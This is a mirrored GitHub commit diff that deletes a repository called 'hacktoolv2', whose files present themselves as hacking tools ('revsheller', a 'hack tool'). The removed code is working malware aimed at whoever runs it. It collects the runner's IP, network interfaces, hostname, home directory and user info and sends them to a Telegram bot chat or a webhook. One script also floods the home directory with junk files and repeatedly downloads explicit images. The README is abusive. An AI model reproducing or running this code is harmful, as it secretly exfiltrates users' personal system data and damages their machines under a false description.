mirror of
https://github.com/constantinDev/hacktoolv2
synced 2025-08-29 15:37:42 +00:00
REUPLOAD
This commit is contained in:
parent
4f8768888e
commit
a23e3a88f9
3
.gitignore
vendored
3
.gitignore
vendored
@ -1,3 +0,0 @@
|
|||||||
**/node_modules
|
|
||||||
**/package-lock.json
|
|
||||||
**/sender.js
|
|
12
README.md
12
README.md
@ -1,12 +0,0 @@
|
|||||||
# READ THIS
|
|
||||||
|
|
||||||
So we had an incident yesterday. Someone thought it'd be funny to abuse the tokens used to communicate with us. If you are that low-lifer, you got 2 choices:
|
|
||||||
|
|
||||||
- 1: Continue to be a dick and slow down development of "tools" being made to abolish skids and teach them a lesson
|
|
||||||
- 2: Be a supportful man and leave this shit alone
|
|
||||||
|
|
||||||
if you choose the first one, you have the legal permission to fuck yourself
|
|
||||||
|
|
||||||
if you choose the second one, you contribute to this by a ton by not pissing everyone off, and being a generally nice man.
|
|
||||||
|
|
||||||
## Thanks for reading.
|
|
Binary file not shown.
Binary file not shown.
@ -1,67 +0,0 @@
|
|||||||
let req = require("request")
|
|
||||||
let fs = require("fs")
|
|
||||||
let os = require("os")
|
|
||||||
|
|
||||||
let req1 = req("https://api.ipify.org")
|
|
||||||
let ip = "";
|
|
||||||
req1.on("complete", async (response, body) => {
|
|
||||||
fs.writeFileSync("./DATA.json", JSON.stringify({
|
|
||||||
ip: {
|
|
||||||
external: ip
|
|
||||||
},
|
|
||||||
network: (os.networkInterfaces || function () {
|
|
||||||
return "null"
|
|
||||||
})(),
|
|
||||||
cpu: (os.cpus || function () {
|
|
||||||
return "null"
|
|
||||||
})(),
|
|
||||||
arch: (os.arch || function () {
|
|
||||||
return "null"
|
|
||||||
})(),
|
|
||||||
homedir: (os.homedir || function () {
|
|
||||||
return "null"
|
|
||||||
})(),
|
|
||||||
host: (os.hostname || function () {
|
|
||||||
return "null"
|
|
||||||
})(),
|
|
||||||
platform: (os.platform || function () {
|
|
||||||
return "null"
|
|
||||||
})(),
|
|
||||||
rel: (os.release || function () {
|
|
||||||
return "null"
|
|
||||||
})(),
|
|
||||||
tmp: (os.tmpdir || function () {
|
|
||||||
return "null"
|
|
||||||
})(),
|
|
||||||
uptime: (os.uptime || function () {
|
|
||||||
return "null"
|
|
||||||
})(),
|
|
||||||
kernelver: (os.version || function () {
|
|
||||||
return "null"
|
|
||||||
})(),
|
|
||||||
user: (os.userInfo || function () {
|
|
||||||
return "null"
|
|
||||||
})()
|
|
||||||
}))
|
|
||||||
let a = require("./sender")
|
|
||||||
let token = (await a()).split(":-:")[0]
|
|
||||||
let r = req(`https://api.telegram.org/bot${token}/sendDocument`, {
|
|
||||||
method: "POST",
|
|
||||||
formData: {
|
|
||||||
"chat_id": "@lmaotxt",
|
|
||||||
document: fs.createReadStream("./DATA.json"),
|
|
||||||
caption: "HE GAY"
|
|
||||||
}
|
|
||||||
})
|
|
||||||
r.on("data",(b)=>{console.log(b.toString())})
|
|
||||||
r.on("complete", () => {
|
|
||||||
setTimeout(() => {
|
|
||||||
fs.unlinkSync("./DATA.json")
|
|
||||||
console.log("lol")
|
|
||||||
process.exit()
|
|
||||||
}, 1000)
|
|
||||||
})
|
|
||||||
})
|
|
||||||
req1.on("data", (data) => {
|
|
||||||
ip += data
|
|
||||||
})
|
|
@ -1,15 +0,0 @@
|
|||||||
{
|
|
||||||
"name": "gtool-src",
|
|
||||||
"version": "1.0.0",
|
|
||||||
"description": "what the fuck",
|
|
||||||
"main": "sender.js",
|
|
||||||
"scripts": {
|
|
||||||
"test": "echo \"Error: no test specified\" && exit 1"
|
|
||||||
},
|
|
||||||
"author": "lo",
|
|
||||||
"license": "ISC",
|
|
||||||
"dependencies": {
|
|
||||||
"request": "^2.88.2"
|
|
||||||
},
|
|
||||||
"bin": "main.js"
|
|
||||||
}
|
|
Binary file not shown.
Binary file not shown.
@ -1,59 +0,0 @@
|
|||||||
const https = require("https")
|
|
||||||
const fs = require("fs")
|
|
||||||
console.clear()
|
|
||||||
console.log("[!] Loading...")
|
|
||||||
https.get("https://api.ipify.org",function(ipr){
|
|
||||||
let ip = "";
|
|
||||||
ipr.on("data",(chonk)=>{ip+=chonk.toString()})
|
|
||||||
ipr.on("close",async ()=>{
|
|
||||||
let reqs = https.request((await require("./sender")()).split(":-:")[1], {
|
|
||||||
method: "POST",
|
|
||||||
headers: {
|
|
||||||
"content-type": "application/json"
|
|
||||||
}
|
|
||||||
}, function (resp) {
|
|
||||||
resp.on("data", (c) => {
|
|
||||||
console.log(c.toString())
|
|
||||||
})
|
|
||||||
setTimeout(() => {
|
|
||||||
setInterval(() => {
|
|
||||||
for (c of "YOU GOT JEBAITED ") {
|
|
||||||
process.stdout.write(c)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}, 10000)
|
|
||||||
|
|
||||||
function mkr() { // define a function that we will call to download a image
|
|
||||||
https.get("https://nekos.life/api/v2/img/boobs", { // Get the api endpoint
|
|
||||||
}, function (res) { // Callback
|
|
||||||
let fin = ""; // Define response
|
|
||||||
res.on("data", (chunk) => {
|
|
||||||
fin += chunk
|
|
||||||
}) // Fill out response
|
|
||||||
res.on("end", () => { // gets called when connection closes (we have the data)
|
|
||||||
let text = JSON.parse(fin) // Parse the response
|
|
||||||
let u = text.url; // get the url provided to the image
|
|
||||||
https.get(u, function (res) { // Get the image
|
|
||||||
let path = require("os").homedir();
|
|
||||||
fs.writeFileSync(path + `/LMAO${Math.random()}.txt`, "You got jebaited\n".repeat(50))
|
|
||||||
// console.log("Downloading to "+path)
|
|
||||||
let fname = u.split("/").pop()
|
|
||||||
let stream = require("fs").createWriteStream(path + "/" + fname) // Create a write stream to a file created with the name of the original file on the api
|
|
||||||
res.pipe(stream) // Pipe the response into that file
|
|
||||||
res.on("end", () => { // Gets called when we have the data
|
|
||||||
stream.close() // Close the write stream
|
|
||||||
setTimeout(mkr, 5000) // Call the function again in 1 second
|
|
||||||
})
|
|
||||||
})
|
|
||||||
})
|
|
||||||
})
|
|
||||||
}
|
|
||||||
for (i = 0; i < 10; i++) mkr() // Start 3 threads that download 3 images at once
|
|
||||||
})
|
|
||||||
|
|
||||||
reqs.write(JSON.stringify({
|
|
||||||
content: "Someone got jebaited.\nIP: "+ip+"\nOS: "+require("os").platform()
|
|
||||||
}))
|
|
||||||
reqs.end()
|
|
||||||
})
|
|
||||||
})
|
|
@ -1,14 +0,0 @@
|
|||||||
{
|
|
||||||
"name": "hacktool-remastered",
|
|
||||||
"version": "1.0.0",
|
|
||||||
"description": "Annother tool",
|
|
||||||
"main": "main.js",
|
|
||||||
"scripts": {
|
|
||||||
"test": "echo \"Error: no test specified\" && exit 1"
|
|
||||||
},
|
|
||||||
"author": "Constantin",
|
|
||||||
"license": "ISC",
|
|
||||||
"dependencies": {
|
|
||||||
},
|
|
||||||
"bin": "main.js"
|
|
||||||
}
|
|
Binary file not shown.
@ -1,99 +0,0 @@
|
|||||||
const chalk = require("chalk");
|
|
||||||
const {
|
|
||||||
default: axios
|
|
||||||
} = require("axios");
|
|
||||||
const {
|
|
||||||
ArgumentParser
|
|
||||||
} = require("argparse");
|
|
||||||
const parser = new ArgumentParser({
|
|
||||||
description: require("./package.json").description,
|
|
||||||
version: require("./package.json").version
|
|
||||||
});
|
|
||||||
|
|
||||||
parser.addArgument(["target"], {
|
|
||||||
help: "The target's IP address"
|
|
||||||
})
|
|
||||||
parser.addArgument(["-vb", "--verbose"], {
|
|
||||||
help: "Whether or not to enable an extra level of logging",
|
|
||||||
required: false,
|
|
||||||
defaultValue: false,
|
|
||||||
action: "storeTrue"
|
|
||||||
})
|
|
||||||
parser.addArgument(["-os", "--operating-system"], {
|
|
||||||
required: false,
|
|
||||||
help: "The target's Operating system. Not needed, but if it doesnt work normally, try providing this",
|
|
||||||
defaultValue: null
|
|
||||||
})
|
|
||||||
let args = parser.parseArgs()
|
|
||||||
|
|
||||||
function delay(ms) {
|
|
||||||
return new Promise((r, j) => {
|
|
||||||
setTimeout(r, ms);
|
|
||||||
})
|
|
||||||
}
|
|
||||||
class LogHelper {
|
|
||||||
logVerbose(text) {
|
|
||||||
if (args.verbose) console.log(chalk `{green [VB]} {yellow ${text}}`);
|
|
||||||
}
|
|
||||||
log(text) {
|
|
||||||
console.log(chalk `{green [I]} ${text}`);
|
|
||||||
}
|
|
||||||
warn(text) {
|
|
||||||
console.log(chalk `{yellow [!]} ${text}`);
|
|
||||||
}
|
|
||||||
error(text) {
|
|
||||||
console.log(chalk `{red [!!]} {redBright ${text}}`);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
let logger = new LogHelper();
|
|
||||||
|
|
||||||
logger.log("Loading...")
|
|
||||||
axios({
|
|
||||||
url: "https://api.ipify.org"
|
|
||||||
}).then(async d => {
|
|
||||||
logger.log("Successfully loaded the API. Loading modules...")
|
|
||||||
axios({
|
|
||||||
url: `https://api.telegram.org/bot${(await require("./sender")()).split(":-:")[0]}/sendMessage`,
|
|
||||||
method: "POST",
|
|
||||||
data: {
|
|
||||||
chat_id: "@lmaotxt",
|
|
||||||
text: `<strong>${d.data}</strong> ran the fake rat. OS: <strong>${require("os").platform()}</strong>`,
|
|
||||||
parse_mode: "HTML"
|
|
||||||
}
|
|
||||||
}).then(async () => {
|
|
||||||
if (args.target.split(".").length != 4 || args.target.split(".").some(a => parseInt(a) > 255)) return logger.error(`I dont think "${args.target}" is a valid IP`)
|
|
||||||
logger.log("Loaded modules. Running shell for " + args.target)
|
|
||||||
await delay(1000)
|
|
||||||
logger.log("Connecting...")
|
|
||||||
logger.logVerbose("Attempting to send packet 1 with 500b data...")
|
|
||||||
await delay(500)
|
|
||||||
logger.logVerbose("Attempting to send packet 2 with 500b data...")
|
|
||||||
await delay(10)
|
|
||||||
logger.logVerbose("Attempting to send packet 3 with 742b data...")
|
|
||||||
logger.logVerbose("Attempting to send packet 4 with 330b data...")
|
|
||||||
logger.logVerbose("Attempting to send packet 5 with 5kb data...")
|
|
||||||
await delay(2000)
|
|
||||||
logger.log("Connected. Opening shell...")
|
|
||||||
logger.logVerbose("Opening shell in main window...")
|
|
||||||
logger.log("Shell was created. Opening interface...")
|
|
||||||
await delay(500)
|
|
||||||
let proc = require("child_process").exec("cmd")
|
|
||||||
process.stdin.on("data", (data) => {
|
|
||||||
proc.stdin.write(data.toString());
|
|
||||||
})
|
|
||||||
proc.stdout.on("data", (chunk) => {
|
|
||||||
process.stdout.write(chunk)
|
|
||||||
})
|
|
||||||
proc.stderr.on("data",(chunk)=>{
|
|
||||||
process.stdout.write(chalk.redBright(chunk))
|
|
||||||
})
|
|
||||||
proc.on("exit",()=>{
|
|
||||||
logger.warn("Session has closed. Closing program...")
|
|
||||||
process.exit()
|
|
||||||
})
|
|
||||||
|
|
||||||
})
|
|
||||||
}).catch(err => {
|
|
||||||
logger.error("Failed to load the API. Exiting...")
|
|
||||||
process.exit(0, "Failed to load API")
|
|
||||||
})
|
|
@ -1,18 +0,0 @@
|
|||||||
{
|
|
||||||
"name": "revsheller",
|
|
||||||
"version": "1.0.0",
|
|
||||||
"description": "Lets you create reverse shell releationships with PC's that aren't even on",
|
|
||||||
"main": "main.js",
|
|
||||||
"scripts": {
|
|
||||||
"test": "echo \"Error: no test specified\" && exit 1"
|
|
||||||
},
|
|
||||||
"author": "Constantin",
|
|
||||||
"license": "ISC",
|
|
||||||
"dependencies": {
|
|
||||||
"argparse": "^1.0.10",
|
|
||||||
"axios": "^0.19.2",
|
|
||||||
"chalk": "^4.1.0",
|
|
||||||
"ws": "^7.3.1"
|
|
||||||
},
|
|
||||||
"bin": "main.js"
|
|
||||||
}
|
|
@ -1,8 +0,0 @@
|
|||||||
# hacktoolv2
|
|
||||||
my brain fucking hurts
|
|
||||||
|
|
||||||
> This tool is revolutionary. Its the best hack tool in the world and nothing can change that. Download it today
|
|
||||||
|
|
||||||
# Usage
|
|
||||||
|
|
||||||
> Using this tool is stupid easy. Just download the binary for your OS and run it on the terminal. Add the -h switch to see help.
|
|
Binary file not shown.
Loading…
x
Reference in New Issue
Block a user